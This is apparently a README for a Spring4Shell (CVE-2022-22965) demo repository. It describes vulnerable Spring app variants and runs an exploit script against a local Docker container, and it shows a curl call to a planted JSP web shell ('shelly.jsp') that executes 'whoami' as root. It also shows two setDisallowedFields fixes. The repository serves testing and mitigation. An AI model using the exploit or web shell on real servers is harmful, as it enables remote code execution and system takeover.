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Spring4Shell RCE Demo for CVE-2022-22965

MindMap

Types of demo

  1. spring-mvc (with spring-boot) deployed as a war to Apache Tomcat
  2. spring-boot war with jsp, to be run as java -jar
  3. spring-boot jar without jsp, to be run as java -jar

While the first spring-mvc in Apache Tomcat is vulnerable, the latter two types -- where spring-boot runs in Embedded Tomcat Servlet Container -- do not appear to be vulnerable. See also https://www.praetorian.com/blog/spring-core-jdk9-rce/

Update 04/04/2022

Initial rumors on the internet claimed that RestControllers where not impacted by this vulnerability but it appears that these are equally vulnerable.

Endpoints

The endpoints to test the application are:

  • /, /request, /rest/request, /safe-request or /rest/safe-request
  • /get, /rest/get
  • /post, /rest/post
  • /put, /rest/put

Lastly, spring4shell-exploit.sh is a standalone bash script for testing the exploit against any app.

TODO

  • implement POC for CVE-2022-22963 SpEL

Run spring-mvc demo

To run the spring-mvc demo, the war file needs to be deployed to a Tomcat container.

For convenience, there is a pre-built docker container. Here is how see the exploit in action:

# Run a sample vulnerable app
$ docker run -p 8080:8080 --rm spring4shell

# Install and run the exploit
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell-rce/request

# Try manually running (after a small delay)
$ curl --fail -v --output - 'http://localhost:8080/shelly.jsp?pwd=PeekAboo&cmd=whoami'
> GET /shelly.jsp?pwd=PeekAboo&cmd=whoami HTTP/1.1
> Host: localhost:8080
> Accept: */*
> 
< HTTP/1.1 200 
< Content-Type: text/html;charset=ISO-8859-1
< Content-Length: 2291
< 
root

The demo also contains two fixes.

One fix is to apply binder setDisallowedFields() at controller level:

# Run or restart the sample app.
$ docker run -p 8080:8080 --rm dotnes/spring4shell

# Try to install the exploit against safe controller. It should fail
# (Make sure the exploit was not previously installed)
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/safe-helloworld

# Try manually running (after a small delay)
$ curl --fail -v --output - 'http://localhost:8080/shelly.jsp?pwd=PeekAboo&cmd=whoami'
curl: (22) The requested URL returned error: 404

Another fix is to apply setDisallowedFields() with a controller advice, for all controllers:

# Run or restart the sample app.
$ docker run -p 8080:8080 --rm -e APPLY_ADVICE=true spring4shell

# Install and run the exploit against unsafe controller. It should fail.
# (Make sure the exploit was not previously installed)
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/request
curl: (22) The requested URL returned error: 404

Run spring-boot war with jsp

# Run a sample vulnerable app
$ docker run -p 8080:8080 --rm spring4shell-spring-boot-war

# Try to install the exploit. It should fail
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/request
curl: (22) The requested URL returned error: 404

Run spring-boot jar without jsp

# Run a sample vulnerable app
$ docker run -p 8080:8080 --rm spring4shell-spring-boot-jar

# Try to install the exploit. It should fail
$ bash spring4shell-exploit.sh http://localhost:8080 spring4shell/request
curl: (22) The requested URL returned error: 404

Credits

Big shout out to @maxxedev for creating the foundation of this project.